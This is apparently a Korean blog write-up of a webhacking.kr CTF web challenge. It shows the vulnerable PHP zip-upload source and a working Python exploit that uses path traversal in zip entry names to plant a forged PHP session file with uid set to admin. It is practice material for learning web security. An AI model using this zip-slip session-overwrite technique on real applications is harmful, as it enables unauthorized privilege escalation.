<?php
session_start();
if(!$_SESSION['uid']) $_SESSION['uid'] = "guest";
if($_SESSION['uid'] == "admin") include "/flag";
if($_FILES['upload']){
$path = $_FILES['upload']['tmp_name'];
$zip = new ZipArchive;
if ($zip->open($_FILES['upload']['tmp_name']) === true){
for($i = 0; $i < $zip->numFiles; $i++){
$filename = $zip->getNameIndex($i);
$filename_ = $filename.rand(10000000,99999999);
if(strlen($filename) > 240) exit("file name too long");
if(preg_match('/[\x00-\x1F\x7F-\xFF]/',$filename)) exit("no hack");
if(copy("zip://{$_FILES['upload']['tmp_name']}#{$filename}", "./upload/{$filename_}")) echo "{$filename_} uploaded.<br>";
else echo "{$filename_} upload failed.<br>";
}
$zip->close();
}
}
highlight_file(__FILE__);
?><hr><form enctype="multipart/form-data" method="post">
<input name="upload" type="file" />
<input type="submit">
</form>
session을 admin으로 바꿔주면 플래그가 나옵니다.
zip 파일을 업로드하면 내부 파일 이름 뒤에 10000000~99999999 범위의 중 하나의 숫자가 붙습니다.
php에서 session은 기본적으로 다음과 같은 경로에 저장됩니다.
/var/lib/php/sessions/sess_{}
또한 session_start()함수는 임의의 랜덤 값으로 초기 세션 파일을 만들게 됩니다.
"sess_<random_value>"
이 random_value는 쿠키에 저장되는데 "PHPSESSID"라는 키의 값으로 <random_value>가 저장됩니다.
아까 위에서 zip 내부 파일 이름 뒤에 10000000~99999999 중 하나의 숫자가 붙는다고 했는데
이것을 이용해 세션 파일을 만들어 낼 수 있습니다.
그런 다음 쿠키에서 PHPSESSID의 값을 해당 랜덤한 값으로 바꿔주면 세션 오버라이트를 할 수 있게 됩니다.
세션이 없을 때 uid가 guest인 세션을 만들어 주는데
세션 파일의 내부는 다음과 같습니다.
uid|s:5:"guest";
여기서 guest를 admin으로 변조하고 파일 이름을 "sess_"로 만들어서 업로드하면 됩니다.
익스플로잇 코드는 다음과 같습니다.
import io
import zipfile
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, "x", zipfile.ZIP_STORED) as zip_file:
file_name, data = ('../../../../../../../../../var/lib/php/sessions/sess_', io.BytesIO(b'uid|s:5:"admin";'))
zip_file.writestr(file_name, data.getvalue())
print(zip_file.getinfo(file_name))
with open('1.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
import requests
url = 'http://webhacking.kr:10015/'
r = requests.post(url=url, files={'upload':zip_buffer.getvalue()})
start = r.text.find('_')
end = r.text.find('uploaded')
s = r.text[start+1:end]
cookie = {'PHPSESSID':s}
r = requests.post(url=url, cookies=cookie, files={'upload':zip_buffer.getvalue()})
print(r.text[:30])
레퍼런스
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] RegexMaster write-up (0) | 2023.09.21 |
---|---|
[Webhacking.kr] Challenge old-52 write-up (2) | 2023.09.20 |
[Webhacking.kr] baby toctou write-up (0) | 2023.04.05 |
[Webhacking.kr] Challenge old-60 write-up (0) | 2023.04.05 |
[Webhacking.kr] Challenge old-13 write-up (0) | 2023.03.26 |